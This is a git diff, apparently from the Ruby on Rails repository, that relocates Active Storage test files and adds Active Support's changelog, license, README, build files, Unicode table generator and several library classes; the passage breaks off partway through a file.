diff --git a/test/dummy/config/initializers/inflections.rb b/activestorage/test/dummy/config/initializers/inflections.rb
index ac033bf9dc..ac033bf9dc 100644
--- a/test/dummy/config/initializers/inflections.rb
+++ b/activestorage/test/dummy/config/initializers/inflections.rb
diff --git a/test/dummy/config/initializers/mime_types.rb b/activestorage/test/dummy/config/initializers/mime_types.rb
index dc1899682b..dc1899682b 100644
--- a/test/dummy/config/initializers/mime_types.rb
+++ b/activestorage/test/dummy/config/initializers/mime_types.rb
diff --git a/test/dummy/config/initializers/wrap_parameters.rb b/activestorage/test/dummy/config/initializers/wrap_parameters.rb
index bbfc3961bf..bbfc3961bf 100644
--- a/test/dummy/config/initializers/wrap_parameters.rb
+++ b/activestorage/test/dummy/config/initializers/wrap_parameters.rb
diff --git a/test/dummy/config/routes.rb b/activestorage/test/dummy/config/routes.rb
index 1daf9a4121..1daf9a4121 100644
--- a/test/dummy/config/routes.rb
+++ b/activestorage/test/dummy/config/routes.rb
diff --git a/test/dummy/config/secrets.yml b/activestorage/test/dummy/config/secrets.yml
index 77d1fc383a..77d1fc383a 100644
--- a/test/dummy/config/secrets.yml
+++ b/activestorage/test/dummy/config/secrets.yml
diff --git a/test/dummy/config/spring.rb b/activestorage/test/dummy/config/spring.rb
index c9119b40c0..c9119b40c0 100644
--- a/test/dummy/config/spring.rb
+++ b/activestorage/test/dummy/config/spring.rb
diff --git a/test/dummy/config/storage_services.yml b/activestorage/test/dummy/config/storage_services.yml
index 2c6762e0d6..2c6762e0d6 100644
--- a/test/dummy/config/storage_services.yml
+++ b/activestorage/test/dummy/config/storage_services.yml
diff --git a/activestorage/test/dummy/lib/assets/.keep b/activestorage/test/dummy/lib/assets/.keep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/lib/assets/.keep
diff --git a/activestorage/test/dummy/log/.keep b/activestorage/test/dummy/log/.keep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/log/.keep
diff --git a/test/dummy/package.json b/activestorage/test/dummy/package.json
index caa2d7bb3f..caa2d7bb3f 100644
--- a/test/dummy/package.json
+++ b/activestorage/test/dummy/package.json
diff --git a/test/dummy/public/404.html b/activestorage/test/dummy/public/404.html
index 2be3af26fc..2be3af26fc 100644
--- a/test/dummy/public/404.html
+++ b/activestorage/test/dummy/public/404.html
diff --git a/test/dummy/public/422.html b/activestorage/test/dummy/public/422.html
index c08eac0d1d..c08eac0d1d 100644
--- a/test/dummy/public/422.html
+++ b/activestorage/test/dummy/public/422.html
diff --git a/test/dummy/public/500.html b/activestorage/test/dummy/public/500.html
index 78a030af22..78a030af22 100644
--- a/test/dummy/public/500.html
+++ b/activestorage/test/dummy/public/500.html
diff --git a/activestorage/test/dummy/public/apple-touch-icon-precomposed.png b/activestorage/test/dummy/public/apple-touch-icon-precomposed.png
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/public/apple-touch-icon-precomposed.png
diff --git a/activestorage/test/dummy/public/apple-touch-icon.png b/activestorage/test/dummy/public/apple-touch-icon.png
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/public/apple-touch-icon.png
diff --git a/activestorage/test/dummy/public/favicon.ico b/activestorage/test/dummy/public/favicon.ico
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/public/favicon.ico
diff --git a/test/filename_test.rb b/activestorage/test/filename_test.rb
index e448238675..e448238675 100644
--- a/test/filename_test.rb
+++ b/activestorage/test/filename_test.rb
diff --git a/test/fixtures/files/racecar.jpg b/activestorage/test/fixtures/files/racecar.jpg
index 934b4caa22..934b4caa22 100644
--- a/test/fixtures/files/racecar.jpg
+++ b/activestorage/test/fixtures/files/racecar.jpg
diff --git a/test/models/attachments_test.rb b/activestorage/test/models/attachments_test.rb
index 82256e1f44..82256e1f44 100644
--- a/test/models/attachments_test.rb
+++ b/activestorage/test/models/attachments_test.rb
diff --git a/test/models/blob_test.rb b/activestorage/test/models/blob_test.rb
index 8b14bcec87..8b14bcec87 100644
--- a/test/models/blob_test.rb
+++ b/activestorage/test/models/blob_test.rb
diff --git a/test/models/variant_test.rb b/activestorage/test/models/variant_test.rb
index 7d52f005a7..7d52f005a7 100644
--- a/test/models/variant_test.rb
+++ b/activestorage/test/models/variant_test.rb
diff --git a/test/service/.gitignore b/activestorage/test/service/.gitignore
index c102131f3d..c102131f3d 100644
--- a/test/service/.gitignore
+++ b/activestorage/test/service/.gitignore
diff --git a/test/service/azure_service_test.rb b/activestorage/test/service/azure_service_test.rb
index 0ddbac83e7..0ddbac83e7 100644
--- a/test/service/azure_service_test.rb
+++ b/activestorage/test/service/azure_service_test.rb
diff --git a/test/service/configurations-example.yml b/activestorage/test/service/configurations-example.yml
index 68f6ae4224..68f6ae4224 100644
--- a/test/service/configurations-example.yml
+++ b/activestorage/test/service/configurations-example.yml
diff --git a/test/service/configurator_test.rb b/activestorage/test/service/configurator_test.rb
index c69b8d5087..c69b8d5087 100644
--- a/test/service/configurator_test.rb
+++ b/activestorage/test/service/configurator_test.rb
diff --git a/test/service/disk_service_test.rb b/activestorage/test/service/disk_service_test.rb
index a625521601..a625521601 100644
--- a/test/service/disk_service_test.rb
+++ b/activestorage/test/service/disk_service_test.rb
diff --git a/test/service/gcs_service_test.rb b/activestorage/test/service/gcs_service_test.rb
index 134a06e3a4..134a06e3a4 100644
--- a/test/service/gcs_service_test.rb
+++ b/activestorage/test/service/gcs_service_test.rb
diff --git a/test/service/mirror_service_test.rb b/activestorage/test/service/mirror_service_test.rb
index 129e11d06f..129e11d06f 100644
--- a/test/service/mirror_service_test.rb
+++ b/activestorage/test/service/mirror_service_test.rb
diff --git a/test/service/s3_service_test.rb b/activestorage/test/service/s3_service_test.rb
index fa2df263a6..fa2df263a6 100644
--- a/test/service/s3_service_test.rb
+++ b/activestorage/test/service/s3_service_test.rb
diff --git a/test/service/shared_service_tests.rb b/activestorage/test/service/shared_service_tests.rb
index 07620d91e4..07620d91e4 100644
--- a/test/service/shared_service_tests.rb
+++ b/activestorage/test/service/shared_service_tests.rb
diff --git a/test/test_helper.rb b/activestorage/test/test_helper.rb
index 9922c8685c..9922c8685c 100644
--- a/test/test_helper.rb
+++ b/activestorage/test/test_helper.rb
diff --git a/webpack.config.js b/activestorage/webpack.config.js
index 92c4530e7f..92c4530e7f 100644
--- a/webpack.config.js
+++ b/activestorage/webpack.config.js
diff --git a/yarn.lock b/activestorage/yarn.lock
index dd09577445..dd09577445 100644
--- a/yarn.lock
+++ b/activestorage/yarn.lock
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
new file mode 100644
index 0000000000..938d4f9d31
--- /dev/null
+++ b/activesupport/CHANGELOG.md
@@ -0,0 +1,168 @@
+*   Fix modulo operations involving durations
+
+    Rails 5.1 introduce an `ActiveSupport::Duration::Scalar` class as a wrapper
+    around a numeric value as a way of ensuring a duration was the outcome of
+    an expression. However the implementation was missing support for modulo
+    operations. This support has now been added and should result in a duration
+    being returned from expressions involving modulo operations.
+
+    Prior to Rails 5.1:
+
+        5.minutes % 2.minutes
+        => 60
+
+    Now:
+
+        5.minutes % 2.minutes
+        => 1 minute
+
+    Fixes #29603 and #29743.
+
+    *Sayan Chakraborty*, *Andrew White*
+
+*   Fix division where a duration is the denominator
+
+    PR #29163 introduced a change in behavior when a duration was the denominator
+    in a calculation - this was incorrect as dividing by a duration should always
+    return a `Numeric`. The behavior of previous versions of Rails has been restored.
+
+    Fixes #29592.
+
+    *Andrew White*
+
+*   Add purpose and expiry support to `ActiveSupport::MessageVerifier` &
+   `ActiveSupport::MessageEncryptor`.
+
+    For instance, to ensure a message is only usable for one intended purpose:
+
+        token = @verifier.generate("x", purpose: :shipping)
+
+        @verifier.verified(token, purpose: :shipping) # => "x"
+        @verifier.verified(token)                     # => nil
+
+    Or make it expire after a set time:
+
+        @verifier.generate("x", expires_in: 1.month)
+        @verifier.generate("y", expires_at: Time.now.end_of_year)
+
+    Showcased with `ActiveSupport::MessageVerifier`, but works the same for
+    `ActiveSupport::MessageEncryptor`'s `encrypt_and_sign` and `decrypt_and_verify`.
+
+    Pull requests: #29599, #29854
+
+    *Assain Jaleel*
+
+*   Make the order of `Hash#reverse_merge!` consistent with `HashWithIndifferentAccess`.
+
+    *Erol Fornoles*
+
+*   Add `freeze_time` helper which freezes time to `Time.now` in tests.
+
+    *Prathamesh Sonpatki*
+
+*   Default `ActiveSupport::MessageEncryptor` to use AES 256 GCM encryption.
+
+    On for new Rails 5.2 apps. Upgrading apps can find the config as a new
+    framework default.
+
+    *Assain Jaleel*
+
+*   Cache: `write_multi`
+
+        Rails.cache.write_multi foo: 'bar', baz: 'qux'
+
+    Plus faster fetch_multi with stores that implement `write_multi_entries`.
+    Keys that aren't found may be written to the cache store in one shot
+    instead of separate writes.
+
+    The default implementation simply calls `write_entry` for each entry.
+    Stores may override if they're capable of one-shot bulk writes, like
+    Redis `MSET`.
+
+    *Jeremy Daer*
+
+*   Add default option to module and class attribute accessors.
+
+        mattr_accessor :settings, default: {}
+
+    Works for `mattr_reader`, `mattr_writer`, `cattr_accessor`, `cattr_reader`,
+    and `cattr_writer` as well.
+
+    *Genadi Samokovarov*
+
+*   Add `Date#prev_occurring` and `Date#next_occurring` to return specified next/previous occurring day of week.
+
+    *Shota Iguchi*
+
+*   Add default option to `class_attribute`.
+
+    Before:
+
+        class_attribute :settings
+        self.settings = {}
+
+    Now:
+
+        class_attribute :settings, default: {}
+
+    *DHH*
+
+*   `#singularize` and `#pluralize` now respect uncountables for the specified locale.
+
+    *Eilis Hamilton*
+
+*   Add `ActiveSupport::CurrentAttributes` to provide a thread-isolated attributes singleton.
+    Primary use case is keeping all the per-request attributes easily available to the whole system.
+
+    *DHH*
+
+*   Fix implicit coercion calculations with scalars and durations
+
+    Previously calculations where the scalar is first would be converted to a duration
+    of seconds but this causes issues with dates being converted to times, e.g:
+
+        Time.zone = "Beijing"           # => Asia/Shanghai
+        date = Date.civil(2017, 5, 20)  # => Mon, 20 May 2017
+        2 * 1.day                       # => 172800 seconds
+        date + 2 * 1.day                # => Mon, 22 May 2017 00:00:00 CST +08:00
+
+    Now the `ActiveSupport::Duration::Scalar` calculation methods will try to maintain
+    the part structure of the duration where possible, e.g:
+
+        Time.zone = "Beijing"           # => Asia/Shanghai
+        date = Date.civil(2017, 5, 20)  # => Mon, 20 May 2017
+        2 * 1.day                       # => 2 days
+        date + 2 * 1.day                # => Mon, 22 May 2017
+
+    Fixes #29160, #28970.
+
+    *Andrew White*
+
+*   Add support for versioned cache entries. This enables the cache stores to recycle cache keys, greatly saving
+    on storage in cases with frequent churn. Works together with the separation of `#cache_key` and `#cache_version`
+    in Active Record and its use in Action Pack's fragment caching.
+
+    *DHH*
+
+*   Pass gem name and deprecation horizon to deprecation notifications.
+
+    *Willem van Bergen*
+
+*   Add support for `:offset` and `:zone` to `ActiveSupport::TimeWithZone#change`
+
+    *Andrew White*
+
+*   Add support for `:offset` to `Time#change`
+
+    Fixes #28723.
+
+    *Andrew White*
+
+*   Add `fetch_values` for `HashWithIndifferentAccess`
+
+    The method was originally added to `Hash` in Ruby 2.3.0.
+
+    *Josh Pencheon*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
new file mode 100644
index 0000000000..6b3cead1a7
--- /dev/null
+++ b/activesupport/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2005-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
new file mode 100644
index 0000000000..14ce204303
--- /dev/null
+++ b/activesupport/README.rdoc
@@ -0,0 +1,39 @@
+= Active Support -- Utility classes and Ruby extensions from Rails
+
+Active Support is a collection of utility classes and standard library
+extensions that were found useful for the Rails framework. These additions
+reside in this package so they can be loaded as needed in Ruby projects
+outside of Rails.
+
+
+== Download and installation
+
+The latest version of Active Support can be installed with RubyGems:
+
+  $ gem install activesupport
+
+Source code can be downloaded as part of the Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/master/activesupport
+
+
+== License
+
+Active Support is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
new file mode 100644
index 0000000000..8672ab1542
--- /dev/null
+++ b/activesupport/Rakefile
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+task default: :test
+
+task :package
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.pattern = "test/**/*_test.rb"
+  t.warning = true
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+end
+
+namespace :test do
+  task :isolated do
+    Dir.glob("test/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib:test", file)
+    end || raise("Failures")
+  end
+end
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
new file mode 100644
index 0000000000..db801d2da2
--- /dev/null
+++ b/activesupport/activesupport.gemspec
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "activesupport"
+  s.version     = version
+  s.summary     = "A toolkit of support libraries and Ruby core extensions extracted from the Rails framework."
+  s.description = "A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "lib/**/*"]
+  s.require_path = "lib"
+
+  s.rdoc_options.concat ["--encoding",  "UTF-8"]
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/activesupport",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/activesupport/CHANGELOG.md"
+  }
+
+  s.add_dependency "i18n",       "~> 0.7"
+  s.add_dependency "tzinfo",     "~> 1.1"
+  s.add_dependency "minitest",   "~> 5.1"
+  s.add_dependency "concurrent-ruby", "~> 1.0", ">= 1.0.2"
+end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
new file mode 100755
index 0000000000..18199b2171
--- /dev/null
+++ b/activesupport/bin/generate_tables
@@ -0,0 +1,141 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+begin
+  $:.unshift(File.expand_path("../lib", __dir__))
+  require "active_support"
+rescue IOError
+end
+
+require "open-uri"
+require "tmpdir"
+require "fileutils"
+
+module ActiveSupport
+  module Multibyte
+    module Unicode
+      class UnicodeDatabase
+        def load; end
+      end
+
+      class DatabaseGenerator
+        BASE_URI = "http://www.unicode.org/Public/#{UNICODE_VERSION}/ucd/"
+        SOURCES = {
+          codepoints: BASE_URI + "UnicodeData.txt",
+          composition_exclusion: BASE_URI + "CompositionExclusions.txt",
+          grapheme_break_property: BASE_URI + "auxiliary/GraphemeBreakProperty.txt",
+          cp1252: "http://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT"
+        }
+
+        def initialize
+          @ucd = Unicode::UnicodeDatabase.new
+        end
+
+        def parse_codepoints(line)
+          codepoint = Codepoint.new
+          raise "Could not parse input." unless line =~ /^
+            ([0-9A-F]+);        # code
+            ([^;]+);            # name
+            ([A-Z]+);           # general category
+            ([0-9]+);           # canonical combining class
+            ([A-Z]+);           # bidi class
+            (<([A-Z]*)>)?       # decomposition type
+            ((\ ?[0-9A-F]+)*);  # decomposition mapping
+            ([0-9]*);           # decimal digit
+            ([0-9]*);           # digit
+            ([^;]*);            # numeric
+            ([YN]*);            # bidi mirrored
+            ([^;]*);            # unicode 1.0 name
+            ([^;]*);            # iso comment
+            ([0-9A-F]*);        # simple uppercase mapping
+            ([0-9A-F]*);        # simple lowercase mapping
+            ([0-9A-F]*)$/ix     # simple titlecase mapping
+          codepoint.code              = $1.hex
+          codepoint.combining_class   = Integer($4)
+          codepoint.decomp_type       = $7
+          codepoint.decomp_mapping    = ($8 == "") ? nil : $8.split.collect(&:hex)
+          codepoint.uppercase_mapping = ($16 == "") ? 0 : $16.hex
+          codepoint.lowercase_mapping = ($17 == "") ? 0 : $17.hex
+          @ucd.codepoints[codepoint.code] = codepoint
+        end
+
+        def parse_grapheme_break_property(line)
+          if line =~ /^([0-9A-F.]+)\s*;\s*([\w]+)\s*#/
+            type = $2.downcase.intern
+            @ucd.boundary[type] ||= []
+            if $1.include? ".."
+              parts = $1.split ".."
+              @ucd.boundary[type] << (parts[0].hex..parts[1].hex)
+            else
+              @ucd.boundary[type] << $1.hex
+            end
+          end
+        end
+
+        def parse_composition_exclusion(line)
+          if line =~ /^([0-9A-F]+)/i
+            @ucd.composition_exclusion << $1.hex
+          end
+        end
+
+        def parse_cp1252(line)
+          if line =~ /^([0-9A-Fx]+)\s([0-9A-Fx]+)/i
+            @ucd.cp1252[$1.hex] = $2.hex
+          end
+        end
+
+        def create_composition_map
+          @ucd.codepoints.each do |_, cp|
+            if !cp.nil? && cp.combining_class == 0 && cp.decomp_type.nil? && !cp.decomp_mapping.nil? && cp.decomp_mapping.length == 2 && @ucd.codepoints[cp.decomp_mapping[0]].combining_class == 0 && !@ucd.composition_exclusion.include?(cp.code)
+              @ucd.composition_map[cp.decomp_mapping[0]] ||= {}
+              @ucd.composition_map[cp.decomp_mapping[0]][cp.decomp_mapping[1]] = cp.code
+            end
+          end
+        end
+
+        def normalize_boundary_map
+          @ucd.boundary.each do |k, v|
+            if [:lf, :cr].include? k
+              @ucd.boundary[k] = v[0]
+            end
+          end
+        end
+
+        def parse
+          SOURCES.each do |type, url|
+            filename = File.join(Dir.tmpdir, UNICODE_VERSION, "#{url.split('/').last}")
+            unless File.exist?(filename)
+              $stderr.puts "Downloading #{url.split('/').last}"
+              FileUtils.mkdir_p(File.dirname(filename))
+              File.open(filename, "wb") do |target|
+                open(url) do |source|
+                  source.each_line { |line| target.write line }
+                end
+              end
+            end
+            File.open(filename) do |file|
+              file.each_line { |line| send "parse_#{type}".intern, line }
+            end
+          end
+          create_composition_map
+          normalize_boundary_map
+        end
+
+        def dump_to(filename)
+          File.open(filename, "wb") do |f|
+            f.write Marshal.dump([@ucd.codepoints, @ucd.composition_exclusion, @ucd.composition_map, @ucd.boundary, @ucd.cp1252])
+          end
+        end
+      end
+    end
+  end
+end
+
+if __FILE__ == $0
+  filename = ActiveSupport::Multibyte::Unicode::UnicodeDatabase.filename
+  generator = ActiveSupport::Multibyte::Unicode::DatabaseGenerator.new
+  generator.parse
+  print "Writing to: #{filename}"
+  generator.dump_to filename
+  puts " (#{File.size(filename)} bytes)"
+end
diff --git a/activesupport/bin/test b/activesupport/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/activesupport/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
new file mode 100644
index 0000000000..79b12f36b9
--- /dev/null
+++ b/activesupport/lib/active_support.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2005-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "securerandom"
+require_relative "active_support/dependencies/autoload"
+require_relative "active_support/version"
+require_relative "active_support/logger"
+require_relative "active_support/lazy_load_hooks"
+require_relative "active_support/core_ext/date_and_time/compatibility"
+
+module ActiveSupport
+  extend ActiveSupport::Autoload
+
+  autoload :Concern
+  autoload :CurrentAttributes
+  autoload :Dependencies
+  autoload :DescendantsTracker
+  autoload :ExecutionWrapper
+  autoload :Executor
+  autoload :FileUpdateChecker
+  autoload :EventedFileUpdateChecker
+  autoload :LogSubscriber
+  autoload :Notifications
+  autoload :Reloader
+
+  eager_autoload do
+    autoload :BacktraceCleaner
+    autoload :ProxyObject
+    autoload :Benchmarkable
+    autoload :Cache
+    autoload :Callbacks
+    autoload :Configurable
+    autoload :Deprecation
+    autoload :Gzip
+    autoload :Inflector
+    autoload :JSON
+    autoload :KeyGenerator
+    autoload :MessageEncryptor
+    autoload :MessageVerifier
+    autoload :Multibyte
+    autoload :NumberHelper
+    autoload :OptionMerger
+    autoload :OrderedHash
+    autoload :OrderedOptions
+    autoload :StringInquirer
+    autoload :TaggedLogging
+    autoload :XmlMini
+    autoload :ArrayInquirer
+  end
+
+  autoload :Rescuable
+  autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
+  autoload :TestCase
+
+  def self.eager_load!
+    super
+
+    NumberHelper.eager_load!
+  end
+
+  cattr_accessor :test_order # :nodoc:
+
+  def self.halt_callback_chains_on_return_false
+    ActiveSupport::Deprecation.warn(<<-MSG.squish)
+      ActiveSupport.halt_callback_chains_on_return_false is deprecated and will be removed in Rails 5.2.
+    MSG
+  end
+
+  def self.halt_callback_chains_on_return_false=(value)
+    ActiveSupport::Deprecation.warn(<<-MSG.squish)
+      ActiveSupport.halt_callback_chains_on_return_false= is deprecated and will be removed in Rails 5.2.
+    MSG
+  end
+
+  def self.to_time_preserves_timezone
+    DateAndTime::Compatibility.preserve_timezone
+  end
+
+  def self.to_time_preserves_timezone=(value)
+    DateAndTime::Compatibility.preserve_timezone = value
+  end
+end
+
+autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/all.rb b/activesupport/lib/active_support/all.rb
new file mode 100644
index 0000000000..6638b25419
--- /dev/null
+++ b/activesupport/lib/active_support/all.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+require "active_support"
+require_relative "time"
+require_relative "core_ext"
diff --git a/activesupport/lib/active_support/array_inquirer.rb b/activesupport/lib/active_support/array_inquirer.rb
new file mode 100644
index 0000000000..b2b9e9c0b7
--- /dev/null
+++ b/activesupport/lib/active_support/array_inquirer.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Wrapping an array in an +ArrayInquirer+ gives a friendlier way to check
+  # its string-like contents:
+  #
+  #   variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet])
+  #
+  #   variants.phone?    # => true
+  #   variants.tablet?   # => true
+  #   variants.desktop?  # => false
+  class ArrayInquirer < Array
+    # Passes each element of +candidates+ collection to ArrayInquirer collection.
+    # The method returns true if any element from the ArrayInquirer collection
+    # is equal to the stringified or symbolized form of any element in the +candidates+ collection.
+    #
+    # If +candidates+ collection is not given, method returns true.
+    #
+    #   variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet])
+    #
+    #   variants.any?                      # => true
+    #   variants.any?(:phone, :tablet)     # => true
+    #   variants.any?('phone', 'desktop')  # => true
+    #   variants.any?(:desktop, :watch)    # => false
+    def any?(*candidates)
+      if candidates.none?
+        super
+      else
+        candidates.any? do |candidate|
+          include?(candidate.to_sym) || include?(candidate.to_s)
+        end
+      end
+    end
+
+    private
+      def respond_to_missing?(name, include_private = false)
+        (name[-1] == "?") || super
+      end
+
+      def method_missing(name, *args)
+        if name[-1] == "?"
+          any?(name[0..-2])
+        else
+          super
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
new file mode 100644
index 0000000000..16dd733ddb
--- /dev/null
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Backtraces often include many lines that are not relevant for the context
+  # under review. This makes it hard to find the signal amongst the backtrace
+  # noise, and adds debugging time. With a BacktraceCleaner, filters and
+  # silencers are used to remove the noisy lines, so that only the most relevant
+  # lines remain.
+  #
+  # Filters are used to modify lines of data, while silencers are used to remove
+  # lines entirely. The typical filter use case is to remove lengthy path
+  # information from the start of each line, and view file paths relevant to the
+  # app directory instead of the file system root. The typical silencer use case
+  # is to exclude the output of a noisy library from the backtrace, so that you
+  # can focus on the rest.
+  #
+  #   bc = ActiveSupport::BacktraceCleaner.new
+  #   bc.add_filter   { |line| line.gsub(Rails.root.to_s, '') } # strip the Rails.root prefix
+  #   bc.add_silencer { |line| line =~ /puma|rubygems/ } # skip any lines from puma or rubygems
+  #   bc.clean(exception.backtrace) # perform the cleanup
+  #
+  # To reconfigure an existing BacktraceCleaner (like the default one in Rails)
+  # and show as much data as possible, you can always call
+  # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
+  # backtrace to a pristine state. If you need to reconfigure an existing
+  # BacktraceCleaner so that it does not filter or modify the paths of any lines
+  # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
+  # These two methods will give you a completely untouched backtrace.
+  #
+  # Inspired by the Quiet Backtrace gem by thoughtbot.
+  class BacktraceCleaner
+    def initialize
+      @filters, @silencers = [], []
+    end
+
+    # Returns the backtrace after all filters and silencers have been run
+    # against it. Filters run first, then silencers.
+    def clean(backtrace, kind = :silent)
+      filtered = filter_backtrace(backtrace)
+
+      case kind
+      when :silent
+        silence(filtered)
+      when :noise
+        noise(filtered)
+      else
+        filtered
+      end
+    end
+    alias :filter :clean
+
+    # Adds a filter from the block provided. Each line in the backtrace will be
+    # mapped against this filter.
+    #
+    #   # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
+    #   backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
+    def add_filter(&block)
+      @filters << block
+    end
+
+    # Adds a silencer from the block provided. If the silencer returns +true+
+    # for a given line, it will be excluded from the clean backtrace.
+    #
+    #   # Will reject all lines that include the word "puma", like "/gems/puma/server.rb" or "/app/my_puma_server/rb"
+    #   backtrace_cleaner.add_silencer { |line| line =~ /puma/ }
+    def add_silencer(&block)
+      @silencers << block
+    end
+
+    # Removes all silencers, but leaves in the filters. Useful if your
+    # context of debugging suddenly expands as you suspect a bug in one of
+    # the libraries you use.
+    def remove_silencers!
+      @silencers = []
+    end
+
+    # Removes all filters, but leaves in the silencers. Useful if you suddenly
+    # need to see entire filepaths in the backtrace that you had already
+    # filtered out.
+    def remove_filters!
+      @filters = []
+    end
+
+    private
+      def filter_backtrace(backtrace)
+        @filters.each do |f|
+          backtrace = backtrace.map { |line| f.call(line) }
+        end
+
+        backtrace
+      end
+
+      def silence(backtrace)
+        @silencers.each do |s|
+          backtrace = backtrace.reject { |line| s.call(line) }
+        end
+
+        backtrace
+      end
+
+      def noise(backtrace)
+        backtrace - silence(backtrace)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
new file mode 100644
index 0000000000..5573f6750e
--- /dev/null
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/benchmark"
+require_relative "core_ext/hash/keys"
+
+module ActiveSupport
+  module Benchmarkable
+    # Allows you to measure the execution time of a block in a template and
+    # records the result to the log. Wrap this block around expensive operations
+    # or possible bottlenecks to get a time reading for the operation. For
+    # example, let's say you thought your file processing method was taking too
